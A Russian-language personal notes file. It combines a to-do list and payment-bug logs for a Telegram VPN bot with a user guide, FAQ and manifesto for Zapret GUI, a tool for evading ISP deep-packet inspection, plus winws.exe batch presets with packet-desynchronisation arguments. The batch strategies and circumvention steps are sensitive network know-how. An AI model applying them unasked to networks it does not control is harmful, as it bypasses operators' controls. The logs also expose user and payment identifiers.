от админов бот записывал - [ ] сделать нормальную впн v2rayn программы с готовыми пресетами - [ ] как минимум 1. отправлять pdf инструкцию по настройке 2. отправлять ссылку на прем чат - [ ] платежи иногда зависают хотя они были оплачены (это случилось только один раз на всю неделю но всё же случилось). надо понять когда именно это происходит и при каких условиях, потому что в 99% случаев платежи обрабатываютяс коректно. вот некоторые логи которые у меня есть: ``` Dec 07 10:28:10 kangbrpart vpnbot[125068]: 2025-12-07 10:28:10,008 - aiogram.event - INFO - Update id=583716695 is handled. Duration 1 ms by bot id=8069057834 Dec 07 10:28:10 kangbrpart vpnbot[125068]: 2025-12-07 10:28:10,162 - aiogram.event - INFO - Update id=583716696 is handled. Duration 105 ms by bot id=8069057834 Dec 07 10:28:23 kangbrpart vpnbot[125068]: 2025-12-07 10:28:23,027 - payment_systems.pally_payment - INFO - Pally create payment request data: {'amount': '50.00', 'shop_id': 'oa2QAZ02Al', 'order_id': 'pay_1715394069_1765103302', 'name': 'Пополнение баланса', 'description': 'Пополнение баланса Игорь', 'type': 'normal', 'currency_in': 'RUB', 'payer_pays_commission': '0', 'custom': 'balance_topup_50'} Dec 07 10:28:23 kangbrpart vpnbot[125068]: 2025-12-07 10:28:23,027 - payment_systems.pally_payment - INFO - Pally create payment response: 200 Dec 07 10:28:23 kangbrpart vpnbot[125068]: 2025-12-07 10:28:23,027 - payment_systems.pally_payment - INFO - Response body: {"success":"true","bill_id":"w7eyN3QR7p","link_url":"https:\/\/pally.info\/link\/w7eyN3QR7p","link_page_url":"https:\/\/pally.info\/transfer\/w7eyN3QR7p"} Dec 07 10:28:23 kangbrpart vpnbot[125068]: 2025-12-07 10:28:23,028 - payment_systems.pally_payment - INFO - Payment created successfully: w7eyN3QR7p Dec 07 10:28:23 kangbrpart vpnbot[125068]: 2025-12-07 10:28:23,201 - bot_db.payment_manager - INFO - Created pally payment w7eyN3QR7p for user 1715394069 Dec 07 10:28:23 kangbrpart vpnbot[125068]: 2025-12-07 10:28:23,205 - payment_systems.pally_payment - INFO - Payment created for user 1715394069: w7eyN3QR7p Dec 07 10:28:24 kangbrpart vpnbot[125068]: 2025-12-07 10:28:24,126 - aiogram.event - INFO - Update id=583716697 is handled. Duration 1557 ms by bot id=8069057834 Dec 07 10:28:28 kangbrpart vpnbot[125068]: 2025-12-07 10:28:28,249 - aiogram.event - INFO - Update id=583716698 is not handled. Duration 2 ms by bot id=8069057834 Dec 07 10:28:28 kangbrpart vpnbot[125068]: 2025-12-07 10:28:28,385 - aiogram.event - INFO - Update id=583716699 is not handled. Duration 1 ms by bot id=8069057834 Dec 07 10:28:33 kangbrpart vpnbot[125068]: 2025-12-07 10:28:33,249 - aiogram.event - INFO - Update id=583716700 is handled. Duration 3 ms by bot id=8069057834 Dec 07 10:28:37 kangbrpart vpnbot[125068]: 2025-12-07 10:28:37,446 - bot_db.key_manager - INFO - Keys cache refreshed: 2802 total (1293 activated, 357 unused) Dec 07 10:28:37 kangbrpart vpnbot[125068]: 2025-12-07 10:28:37,525 - aiogram.event - INFO - Update id=583716701 is handled. Duration 89 ms by bot id=8069057834 Dec 07 10:28:39 kangbrpart vpnbot[125068]: 2025-12-07 10:28:39,392 - aiogram.event - INFO - Update id=583716702 is handled. Duration 199 ms by bot id=8069057834 Dec 07 10:28:42 kangbrpart vpnbot[125068]: 2025-12-07 10:28:42,446 - handlers.balance_handlers - INFO - User 788244455 started topup process Dec 07 10:28:42 kangbrpart vpnbot[125068]: 2025-12-07 10:28:42,677 - aiogram.event - INFO - Update id=583716703 is handled. Duration 232 ms by bot id=8069057834 Dec 07 10:31:44 kangbrpart vpnbot[125068]: 2025-12-07 10:31:44,370 - bot_db.payment_checker - INFO - Checking 14 pending payments Dec 07 10:31:44 kangbrpart vpnbot[125068]: 2025-12-07 10:31:44,707 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"x288QOoy2K","order_id":"pay_348298909_1765034357","active":true,"status":"NEW","type":"NORMAL","amount":12.74,"currency_in":"RUB","created_at":"2025-12-06 15:19:17","success":true} Dec 07 10:31:45 kangbrpart vpnbot[125068]: 2025-12-07 10:31:45,480 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"R2OPWEZK7J","order_id":"pay_6266063986_1765035917","active":true,"status":"NEW","type":"NORMAL","amount":50,"currency_in":"RUB","created_at":"2025-12-06 15:45:18","success":true} Dec 07 10:31:46 kangbrpart vpnbot[125068]: 2025-12-07 10:31:46,275 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"Z75JpWE0vJ","order_id":"pay_1323359116_1765040036","active":true,"status":"NEW","type":"NORMAL","amount":50,"currency_in":"RUB","created_at":"2025-12-06 16:53:57","success":true} Dec 07 10:31:47 kangbrpart vpnbot[125068]: 2025-12-07 10:31:47,092 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"WmqyV4X6mk","order_id":"pay_6808687927_1765043474","active":true,"status":"NEW","type":"NORMAL","amount":539,"currency_in":"RUB","created_at":"2025-12-06 17:51:14","success":true} Dec 07 10:31:47 kangbrpart vpnbot[125068]: 2025-12-07 10:31:47,855 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"k7EBgggKvK","order_id":"pay_8071387065_1765043840","active":true,"status":"NEW","type":"NORMAL","amount":539,"currency_in":"RUB","created_at":"2025-12-06 17:57:21","success":true} Dec 07 10:31:48 kangbrpart vpnbot[125068]: 2025-12-07 10:31:48,654 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"37jyZwOj2b","order_id":"pay_5358555892_1765046515","active":true,"status":"NEW","type":"NORMAL","amount":10,"currency_in":"RUB","created_at":"2025-12-06 18:41:56","success":true} Dec 07 10:31:49 kangbrpart vpnbot[125068]: 2025-12-07 10:31:49,437 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"R2OPrda57J","order_id":"pay_5361065937_1765046737","active":true,"status":"NEW","type":"NORMAL","amount":100,"currency_in":"RUB","created_at":"2025-12-06 18:45:38","success":true} Dec 07 10:31:50 kangbrpart vpnbot[125068]: 2025-12-07 10:31:50,211 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"E2ny1qPZmB","order_id":"pay_5891744356_1765059309","active":true,"status":"NEW","type":"NORMAL","amount":50,"currency_in":"RUB","created_at":"2025-12-06 22:15:09","success":true} Dec 07 10:31:50 kangbrpart vpnbot[125068]: 2025-12-07 10:31:50,969 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"E2ny1XNNmB","order_id":"pay_1390577595_1765091367","active":true,"status":"NEW","type":"NORMAL","amount":10,"currency_in":"RUB","created_at":"2025-12-07 07:09:27","success":true} Dec 07 10:31:51 kangbrpart vpnbot[125068]: 2025-12-07 10:31:51,740 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"Z75Jp9pEvJ","order_id":"pay_5324425652_1765094620","active":true,"status":"NEW","type":"NORMAL","amount":200,"currency_in":"RUB","created_at":"2025-12-07 08:03:40","success":true} Dec 07 10:31:52 kangbrpart vpnbot[125068]: 2025-12-07 10:31:52,517 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"a2QBnWAa7A","order_id":"pay_2100539536_1765096000","active":true,"status":"NEW","type":"NORMAL","amount":5000,"currency_in":"RUB","created_at":"2025-12-07 08:26:40","success":true} Dec 07 10:31:53 kangbrpart vpnbot[125068]: 2025-12-07 10:31:53,339 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"k70wM88M2q","order_id":"pay_1356859733_1765096596","active":true,"status":"NEW","type":"NORMAL","amount":50,"currency_in":"RUB","created_at":"2025-12-07 08:36:36","success":true} Dec 07 10:31:54 kangbrpart vpnbot[125068]: 2025-12-07 10:31:54,126 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"xm9lXYpgv8","order_id":"pay_1715394069_1765103279","active":true,"status":"NEW","type":"NORMAL","amount":50,"currency_in":"RUB","created_at":"2025-12-07 10:28:00","success":true} Dec 07 10:31:54 kangbrpart vpnbot[125068]: 2025-12-07 10:31:54,902 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"w7eyN3QR7p","order_id":"pay_1715394069_1765103302","active":true,"status":"PROCESS","type":"NORMAL","amount":50,"currency_in":"RUB","created_at":"2025-12-07 10:28:22","success":true} Dec 07 10:31:55 kangbrpart vpnbot[125068]: 2025-12-07 10:31:55,403 - bot_db.payment_checker - INFO - Payment check completed: processed=14, confirmed=0, failed=0, skipped=0 Dec 07 10:31:59 kangbrpart vpnbot[125068]: 2025-12-07 10:31:59,159 - background_tasks.subscription_expiry - INFO - Loaded 4 levels and 16 servers Dec 07 10:37:02 kangbrpart vpnbot[125068]: 2025-12-07 10:37:02,200 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"E2ny1XNNmB","order_id":"pay_1390577595_1765091367","active":true,"status":"NEW","type":"NORMAL","amount":10,"currency_in":"RUB","created_at":"2025-12-07 07:09:27","success":true} Dec 07 10:37:02 kangbrpart vpnbot[125068]: 2025-12-07 10:37:02,970 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"Z75Jp9pEvJ","order_id":"pay_5324425652_1765094620","active":true,"status":"NEW","type":"NORMAL","amount":200,"currency_in":"RUB","created_at":"2025-12-07 08:03:40","success":true} Dec 07 10:37:03 kangbrpart vpnbot[125068]: 2025-12-07 10:37:03,763 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"a2QBnWAa7A","order_id":"pay_2100539536_1765096000","active":true,"status":"NEW","type":"NORMAL","amount":5000,"currency_in":"RUB","created_at":"2025-12-07 08:26:40","success":true} Dec 07 10:37:04 kangbrpart vpnbot[125068]: 2025-12-07 10:37:04,540 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"k70wM88M2q","order_id":"pay_1356859733_1765096596","active":true,"status":"NEW","type":"NORMAL","amount":50,"currency_in":"RUB","created_at":"2025-12-07 08:36:36","success":true} Dec 07 10:37:05 kangbrpart vpnbot[125068]: 2025-12-07 10:37:05,343 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"xm9lXYpgv8","order_id":"pay_1715394069_1765103279","active":true,"status":"NEW","type":"NORMAL","amount":50,"currency_in":"RUB","created_at":"2025-12-07 10:28:00","success":true} Dec 07 10:37:06 kangbrpart vpnbot[125068]: 2025-12-07 10:37:06,166 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"w7eyN3QR7p","order_id":"pay_1715394069_1765103302","active":true,"status":"FAIL","type":"NORMAL","amount":50,"currency_in":"RUB","created_at":"2025-12-07 10:28:22","success":true} Dec 07 10:37:06 kangbrpart vpnbot[125068]: 2025-12-07 10:37:06,340 - bot_db.payment_manager - INFO - Updated payment w7eyN3QR7p status to failed Dec 07 10:37:06 kangbrpart vpnbot[125068]: 2025-12-07 10:37:06,344 - CRITICAL_OPS - INFO - ADMIN_ACTION: admin=0, action=payment_auto_failed, target=None, details={'payment_id': 'w7eyN3QR7p', 'user_id': 1715394069, 'amount': 50.0, 'reason': 'automatic_check'} Dec 07 10:37:06 kangbrpart vpnbot[125068]: 2025-12-07 10:37:06,345 - bot_db.payment_checker - INFO - Payment w7eyN3QR7p marked as failed Dec 07 10:37:06 kangbrpart vpnbot[125068]: 2025-12-07 10:37:06,846 - bot_db.payment_checker - INFO - Payment check completed: processed=14, confirmed=0, failed=1, skipped=0 Dec 07 10:37:13 kangbrpart vpnbot[125068]: 2025-12-07 10:37:13,816 - aiogram.event - INFO - Update id=583716746 is not handled. Duration 4 ms by bot id=8069057834 Dec 07 10:37:19 kangbrpart vpnbot[125068]: 2025-12-07 10:37:19,040 - aiogram.event - INFO - Update id=583716747 is not handled. Duration 1 ms by bot id=8069057834 Dec 07 10:37:21 kangbrpart vpnbot[125068]: 2025-12-07 10:37:21,192 - aiogram.event - INFO - Update id=583716748 is not handled. Duration 8 ms by bot id=8069057834 Dec 07 10:37:22 kangbrpart vpnbot[125068]: 2025-12-07 10:37:22,817 - aiogram.event - INFO - Update id=583716749 is not handled. Duration 3 ms by bot id=8069057834 Dec 07 10:37:32 kangbrpart vpnbot[125068]: 2025-12-07 10:37:32,465 - aiogram.event - INFO - Update id=583716750 is not handled. Duration 8 ms by bot id=8069057834 Dec 07 10:37:42 kangbrpart vpnbot[125068]: 2025-12-07 10:37:42,448 - aiogram.event - INFO - Update id=583716751 is not handled. Duration 9 ms by bot id=8069057834 Dec 07 10:37:44 kangbrpart vpnbot[125068]: 2025-12-07 10:37:44,142 - aiogram.event - INFO - Update id=583716752 is not handled. Duration 7 ms by bot id=8069057834 Dec 07 10:37:50 kangbrpart vpnbot[125068]: 2025-12-07 10:37:50,549 - aiogram.event - INFO - Update id=583716753 is not handled. Duration 1 ms by bot id=8069057834 Dec 07 10:37:55 kangbrpart vpnbot[125068]: 2025-12-07 10:37:55,160 - bot_db.user_manager - INFO - Added new user: 5588408591 Dec 07 15:26:20 kangbrpart vpnbot[125068]: 2025-12-07 15:26:20,847 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"8vryBzGx7L","order_id":"pay_171813672_1765109315","active":true,"status":"NEW","type":"NORMAL","amount":216.8,"currency_in":"RUB","created_at":"2025-12-07 12:08:36","success":true} Dec 07 15:26:22 kangbrpart vpnbot[125068]: 2025-12-07 15:26:22,060 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"O2Zy8g8dmA","order_id":"pay_7413995227_1765113344","active":true,"status":"NEW","type":"NORMAL","amount":2150,"currency_in":"RUB","created_at":"2025-12-07 13:15:45","success":true} Dec 07 15:26:22 kangbrpart vpnbot[125068]: 2025-12-07 15:26:22,480 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"w7eyN3QR7p","order_id":"pay_1715394069_1765103302","active":false,"status":"SUCCESS","type":"NORMAL","amount":50,"currency_in":"RUB","created_at":"2025-12-07 10:28:22","success":true} Dec 07 15:26:22 kangbrpart vpnbot[125068]: 2025-12-07 15:26:22,621 - bot_db.payment_manager - INFO - Updated payment w7eyN3QR7p status to completed Dec 07 15:26:22 kangbrpart vpnbot[125068]: 2025-12-07 15:26:22,777 - bot_db.payment_manager - INFO - ✅ Marked payment w7eyN3QR7p as balance credited Dec 07 15:26:22 kangbrpart vpnbot[125068]: 2025-12-07 15:26:22,922 - bot_db.balance_manager - INFO - Added 50.0 to balance for user 1715394069: Пополнение через платежную систему #w7eyN3QR Dec 07 15:26:23 kangbrpart vpnbot[125068]: 2025-12-07 15:26:23,055 - bot_db.payment_manager - INFO - Updated payment w7eyN3QR7p status to completed Dec 07 15:26:23 kangbrpart vpnbot[125068]: 2025-12-07 15:26:23,435 - payment_systems.pally_payment - INFO - Pally check status response: 200 - {"id":"a7lyMwaYvd","order_id":"pay_7345121219_1765121160","active":true,"status":"PROCESS","type":"NORMAL","amount":12.74,"currency_in":"RUB","created_at":"2025-12-07 15:26:00","success":true} Dec 07 15:26:23 kangbrpart vpnbot[125068]: 2025-12-07 15:26:23,724 - aiogram.event - INFO - Update id=583719293 is handled. Duration 1623 ms by bot id=8069057834 Dec 07 15:26:23 kangbrpart vpnbot[125068]: 2025-12-07 15:26:23,938 - bot_db.payment_checker - INFO - Payment check completed: processed=15, confirmed=0, failed=0, skipped=0 Dec 07 15:26:24 kangbrpart vpnbot[125068]: 2025-12-07 15:26:24,210 - aiogram.event - INFO - Update id=583719290 is handled. Duration 17544 ms by bot id=8069057834 Dec 07 15:26:24 kangbrpart vpnbot[125068]: 2025-12-07 15:26:24,967 - bot_db.user_manager - INFO - Added new user: 7830088412 Dec 07 15:26:25 kangbrpart vpnbot[125068]: 2025-12-07 15:26:25,067 - aiogram.event - INFO - Update id=583719294 is handled. Duration 488 ms by bot id=8069057834 Dec 07 15:26:28 kangbrpart vpnbot[125068]: 2025-12-07 15:26:28,081 - handlers.balance_handlers - INFO - User 7830088412 started topup process Dec 07 15:26:28 kangbrpart vpnbot[125068]: 2025-12-07 15:26:28,224 - aiogram.event - INFO - Update id=583719295 is handled. Duration 144 ms by bot id=8069057834 ``` Вы можете зарабатывать бонусы ⚡ и делиться скидкой 10% с друзьями 💫 🔹 Отправьте свою персональную ссылку - приглашённые пользователи получат скидку 10% на первую подписку. 🔹 А вы получите 10% в виде бонусных баллов от всех их покупок. Бонусы можно использовать для полной оплаты подписки в любое время 🔥 📱 Подробнее и ваша личная ссылка - в боте: /start → Аккаунт → Реферальная программа или команда /referral - [x] Не работают порты: 🔺 ✅ 2025-10-14 - [x] FI 1 35115 ✅ 2025-10-14 - [x] NL 1 40724 ✅ 2025-10-14 - [x] RU 1 38915 ✅ 2025-10-14 - [ ] [[Перенести премиум]] 🔺 ![[Pasted image 20260219183716.png]] ## [[Zapret]] - [ ] методичка сделать про вин7 версию запрета ## Minecraft - [ ] поставить войс --- --- he: "3500" --- > [!danger] ВАЖНО! > Перед тем как начать им пользоваться, Вы должны скачать его. Подробнее о том как его скачать описано в [[download|файле]] (файл можно скачать [здесь](https://t.me/zaprethelp/3/1012)) ## Словарь терминов (глоссарий) Прежде чем начать давайте познакомимся с базовыми определениями: - `NFQUEUE` – модуль ядра Linux, который позволяет передавать сетевые пакеты из сетевого стека ядра для обработки в пользовательском пространстве. - `netfilter` – межсетевой экран (брандмауэр), встроен в ядро Linux с версии 2.4. - [`nfqws`](https://github.com/Anonym-tsk/nfqws-keenetic) – программа-модификатор пакетов в проекте `Zapret`. Использует встроенные возможности `linux` (в данном случае `NFQUEUE`). - [`WinDivert`](https://github.com/basil00/WinDivert) – китайский драйвер для `Windows` который позволяет быстро командами манипулировать трафиком (*аналог `nfqws` для `Windows`*) - `Системы DPI анализа трафика` или сокращённо `DPI` (в России название – `ТСПУ`) – - [`Zapret`](https://github.com/bol-van/zapret) – программа по манипуляции трафикам путём шифрования пакетов стека `TCP/IP` (*разделения, запутывания, перестановки местами*) с использованием программы `nfqws` (*для `linux`*) или алгоритмов драйвера `WinDivert` (*для `Windows`*) - [`winws.exe`](https://github.com/bol-van/zapret-win-bundle/) – сборка Zapret (альтернативная версия) для систем `Windows` (*написана автором bol-van на `c++`*) - [[Как пользоваться Zapret#[Blockcheck](https //t.me/zapretblockcheck)|Blockcheck]] – программа для автоматического подбора стратегий для `Zapret` - [`Zapret GUI`](https://t.me/bypassblock) – программа для `Windows`, которая позволяет быстро передавать аргументы в программу-ядро `winws.exe` (*написана автором censorliber на `python`*) - `Стратегия` – строчка состоящая из нескольких аргументов, которая понимает программа `Zapret` и `winws.exe` (например `--dpi-desync=fake,fakedsplit --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig`) - `Пресет` – несколько таких стратегий, которые собраны в единую логику работы программы `Zapret` (в формате `bat` файлов, например для `winwse.exe` или просто как аргументы командой строки) - `bat режим` – старая логика работы программы Zapret GUI, которая работала через стандартный `bat` файлы в системах семейства `Windows` (*как правило внутри бат файлов имеется готовый [[preset|пресет]] со своим "выдуманным" названием – например* `alt2`, `Все сайты` *и так далее*) - `Прямой режим` – новая логика работы программы `Zapret GUI`, которая напрямую работает с аргументами программы `winws.exe` и передаёт их через GUI интерфейс программы (*без посредников в лице сторонних файлов. Т..е здесь Вы собираете пресет сами из готового набора стратегий для каждого сайта по отдельности*) [[discord|Как обойти блокировки Discord? Обход блокировок Дискорд через Zapret (Запрет) 2]] ## Режимы работы программы ### bat режим По умолчанию программа работает в `bat` режиме. Это значит что запускаются `bat` файлы, которые лежат по пути в папке help – `C:\ProgramData\Zapret\help` По умолчанию запущена стратегия `Alt 2`, но она с 90% вероятностью у Вас не заработает. Поэтому Вам следует нажать сюда: ![[Pasted image 20250928201233.png]] После чего откроется меню выбора стратегий: ![[Pasted image 20250928201301.png]] Здесь Вы можете выбрать 2 по списку стратегию, после чего нажать кнопку `Выбрать` ![[Pasted image 20250928201421.png]] Окно не закроется – но стратегия применится. > Если стратегия не заработала – продолжайте перебирать все 80+ стратегий, какая-то из них должна заработать. Если ни одна из стратегий не заработала – вам следует попробовать [[Как пользоваться Zapret#Как переключиться на `Прямой запуск`|Прямой запуск]]. ### Как переключиться на `Прямой запуск` Для этого нужно перейти в `Настройки` и далее выбрать `Прямой запуск`. Окно после этого перезапустится. ![[Pasted image 20250928201737.png]] ## Прямой запуск Окно перезапустится – в результате чего нужно нажать кнопку `Выбрать`: ![[Pasted image 20250928201849.png]] В данном случае применится другой тип стратегий – напрямую собираем стратегию индивидуальную для каждого сайта в один пресет. Это удобнее так как позволяет настроить ресурсы индивидуально под себя, не перебирая все подряд стратегии для всех сайтов. Если это не помогло – выберите нужный вам ресурс: ![[Pasted image 20250928201959.png]] - `YouTube TCP` – грузит основной сайт https://www.youtube.com. Выберите эту вкладку если не работает сам сайт. - `YouTube QUIC` – грузит основной сайт ютуба через протокол QUIC. Можно включить или выключить его в браузере через `about:flags`. Иногда помогает его выключить чтобы перебрать большее количество стратегий для `YOUTUBE TCP`. - `GoogleVideo` – иногда бывает что сам сайт YouTube грузится, а плеер – нет (то есть видео показывает бесконечное колесо прокрутки). Тогда эта вкладка может Вам помочь, так как содержит ЕЩЁ несколько дополнительных стратегий чисто для плеера YouTube. - `Discord` – грузит основной сайт https://discord.com а также приложение. - `Discord Voice` – соответственно голосовые звонки. - `Update Discord` – иногда сам сайт Discord.com грузится, а приложение нет. В таком случае Вы можете скачать приложение напрямую через [ссылку](https://discord.com/api/downloads/distributions/app/installers/latest?channel=stable&platform=win&arch=x64) или пробить обновления Дискорда отдельно через эту вкладку. - `SoundCloud`, `GitHub`, `Rutacker`, `NtcParty`, `Twitch`, `Speedtest`, `Itch.io` нужны для пробитая своих сайтов соответственно. - `Phasmophobia UDP` нужно для того чтобы игра заработала. - `Hostlist (HTTPS)` – пробивает все остальные сайты которые добавлены в списки `Hostlist` (это текстовые файлы `other.txt`, `other2.txt`). - `Hostlist (HTTP)` – аналогично, но только для сайтов `http:\\` (80 порт). - `IPset TCP (GAMES)` – вкладка нужна для игр, сервисов Cloudflare, Amazon и других провайдеров. Иногда помогает играм. - `IPset UDP (GAMES)` – аналогично для игр, только для основного игрового процесса. Перебор стратегий происходит аналогично `bat` режиму – выбрали стратегию – нажали `Выбрать`. Если стратегия не помогает – пробуем следующую. ![[Pasted image 20250928203036.png]] Если **ВСЕ** стратегии из какой-то вкладки не помогают – включите/выключите параметр `wssize` в настройках запуска. И ещё раз попробуйте все стратегии с ним/без него: ![[Pasted image 20250928202909.png]] Эти действия в 99% случаев помогут пробить необходимый сайт. Удачи! --- ## [Blockcheck](https://t.me/zapretblockcheck) ☄️ Blocheck - автоматический подбор и перебор ВСЕХ стратегий Запрета для обхода блокировки Discord или YouTube Полезно для тех у кого НЕ работает какой-то сайт со ВСЕМИ стоковыми стратегиями из Zapret GUI. ❓ Инструкция 1. Создать папку blockcheck 2. Вытащить из zip архива на рабочий стол всё содержимое архива 3. Перейти в папку blockcheck 4. Запустить blockcheck.cmd 5. Дождаться остановки тестирования (это будет долго около 1 часа, НЕ закрывайте консоль иначе придётся начинать с самого начала). 6. Скинуть результаты из лога файла по пути blockcheck.log нам в комментарии. По этим логам мы построим новые стратегии для дискорда. > [!NOTE] ⚠️ Совет > Для пущей убедительности вы можете открыть https://discord.com или любой другой сайт в браузере - если он прогрузит на какой-то стратегии - значит она наиболее эффективна. Это последнее что мы можем вам посоветовать в запрете - если у вас ничего не работает. Более запрет не имеет других стратегий для обхода. Через этот способ Вы переберёте сразу ВСЁ! --- ## #Проблема У меня не работает игра с Zapret (большой пинг) Если это ваша проблема, Вы обязаны включить прямой запуск, в `bat` режиме это работать **НЕ** будет! (*как его включить описано выше*) Далее перейдите во вкладку `Ipset TCP` и выключите её: ![[Pasted image 20251015000043.png]] Сделаете аналогичные действия для `IPset UDP`: ![[Pasted image 20251015000119.png]] Перейдите в `Настройки` и включите `ОЧЕНЬ аккуратный режим (лайтовый)`: ![[Pasted image 20251015000151.png]] После нажмите кнопку `Выбрать` или `Применить`. В 99% случаев это исправит пинг в игре! --- ## #Вопрос Какая стратегия лучше всего? / У меня сломался Zapret после ваших обновлений Запрет не может перестать работать, это не ВПН сервис. И его невозможно заблокировать. Можно только изменить и улучшить алгоритмы ТСПУ чтобы они могли расшифровать зашифрованный трафик, который генерирует Запрет. Но это не значит что новые методы десинхронизации Вам не помогут – наоборот они должны помочь. Меняйте стратегии в пресетах и получайте доступ ко всем сайтам как и раньше! При новых обновлениях СТАРЫЕ алгоритмы и стратегии не меняются – только добавляются новые. Поэтому никакое обновление не может сломать работу запрета, это наш фундаментальный принцип, за которым мы строго следим. Также часто возникает вопрос: `Какая конфигурация для запрета точно работает?`. Правильный ответ — никакая. Не существует универсального рецепта, который гарантированно будет работать у всех, всегда и везде. zapret — это не кнопка "сделать хорошо", а сложный инструмент, успех которого зависит от огромного количества переменных на стороне пользователя. Наиболее вероятная причина – ваш интернет-провайдер обновил свои системы ТСПУ DPI (Deep Packet Inspection). Именно эти системы анализируют ваш трафик. После обновления DPI ваша ранее работавшая стратегия обхода могла стать "видимой" для провайдера и перестать быть эффективной. --- ![[ZapretTeam]] --- [[home|На главную]] # О Zapret – Манифест Наши руководящие принципы высечены в камне. ![[Pasted image 20251005183930.png]] Мы убеждены, что доступ к информации — это базовое право человека. Каждый должен сам решать, какой контент потреблять и каким источникам доверять. Zapret предоставляет технические средства для обхода ограничений, оставаясь полностью бесплатным и открытым инструментом. ![[Pasted image 20251005183922.png]] Методы блокировки постоянно совершенствуются, но мы всегда на шаг впереди. Zapret использует множество проверенных техник обхода — от DPI-манипуляций до фрагментации пакетов. Когда один метод перестает работать, другие продолжают функционировать. ![[Pasted image 20251005183915.png]] Ваш трафик (в отличии от любого, даже самого безопасного VPN) не проходит через сторонние серверы. Zapret работает исключительно на вашем устройстве, модифицируя сетевые пакеты локально. Никаких централизованных точек сбора данных — только вы и свободный интернет.
![[Pasted image 20251005183851.png]] Блокировки бывают разными, и универсального решения не существует. Zapret предоставляет обширный набор параметров: от тонкой настройки TTL и размера фрагментов до выбора стратегий обхода для конкретных сайтов (или даже выбора geo блокировок). Вы сами решаете, как именно обходить ограничения. ![[Pasted image 20251005183946.png]] Zapret — это проект сообщества для сообщества с открытым исходным кодом. Мы не зависим от грантов, инвесторов или рекламодателей. Код полностью открыт, развитие определяется потребностями пользователей, а не коммерческими интересами. Наша независимость — гарантия того, что инструмент всегда будет служить свободе, а не прибыли. --- Если вы столкнулись с ошибкой: ![[Pasted image 20250914131231.png]] Есть несколько способов исправить это. ## Ручной запуск bat файлов Перейдите в папку Запрета: ![[Pasted image 20250914131302.png]] Откройте папку `bat`: ![[Pasted image 20250914131318.png]] Попробуйте по очереди запустить `bat` файлы: ![[Pasted image 20250914131337.png]] Если всё хорошо – то должна отобразиться консоль с надписью `capture is started` (это значит что обход работает): ![[Pasted image 20250914131403.png]] ## Перейти на прямой запуск Иногда `bat` файлы не хотят работать корректно, в таком случае Вам поможет `Прямой запуск`: ![[Pasted image 20250914131535.png]] Далее выберите любые стратегии для нужных сайтов (слева) и необходимые стратегии для них (справа): ![[Pasted image 20250914131609.png]] ## Обратиться в поддержку Если ничего не помогает Вы можете обратиться в [поддержку](https://t.me/zaprethelp) прикрепив лог файл: ![[Pasted image 20250914131634.png]] ![[ZapretTeam]] --- https://t.me/immalware_chat/605009 - 1.5.1 ты если не из сибири можешь тоже попробовать https://t.me/immalware_chat/642117 https://t.me/immalware_chat/642071 ```bash @echo off chcp 65001 > nul :: 65001 - UTF-8 cd /d "%~dp0" call service.bat status_zapret call service.bat check_updates echo: set "BIN=%~dp0bin\" set "LISTS=%~dp0lists\" start "zapret: general (ALT4)" /min "%BIN%winws.exe" --wf-tcp=80,443,4950-4955,6695-6705 --wf-udp=443,50000-50100 ^ --filter-udp=443 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-udp=50000-50100 --filter-l7=discord,stun --dpi-desync=fake --dpi-desync-repeats=6 --new ^ --filter-tcp=80 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake,split2 --dpi-desync-repeats=6 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls="%BIN%tls_clienthello_www_google_com.bin" --new ^ --filter-tcp=4950-4955 --hostlist="%LISTS%list-general.txt" --dpi-desync=fake,multidisorder --dpi-desync-split-pos=midsld --dpi-desync-repeats=8 --dpi-desync-fooling=md5sig,badseq --new ^ --filter-tcp=6695-6705 --dpi-desync=fake,split2 --dpi-desync-repeats=8 --dpi-desync-fooling=md5sig --dpi-desync-autottl=2 --dpi-desync-fake-tls="%BIN%tls_clienthello_www_google_com.bin" --new ^ --filter-udp=443 --ipset="%LISTS%ipset-cloudflare.txt" --dpi-desync=fake --dpi-desync-repeats=6 --dpi-desync-fake-quic="%BIN%quic_initial_www_google_com.bin" --new ^ --filter-tcp=80 --ipset="%LISTS%ipset-cloudflare.txt" --dpi-desync=fake,split2 --dpi-desync-autottl=2 --dpi-desync-fooling=md5sig --new ^ --filter-tcp=443 --ipset="%LISTS%ipset-cloudflare.txt" --dpi-desync=fake,split2 --dpi-desync-repeats=6 --dpi-desync-fooling=md5sig --dpi-desync-fake-tls="%BIN%tls_clienthello_www_google_com.bin" ``` https://t.me/immalware_chat/642183 discord.bat ```bash @echo off chcp 65001 >nul :: 65001 - UTF-8 cd /d "%~dp0" set BIN=%~dp0bin\ start "zapret: discord" /min "%BIN%winws.exe" --wf-tcp=443 --wf-udp=443,50000-65535 ^ --filter-udp=443 --hostlist="list-discord.txt" --dpi-desync=fake --dpi-desync-repeats=6 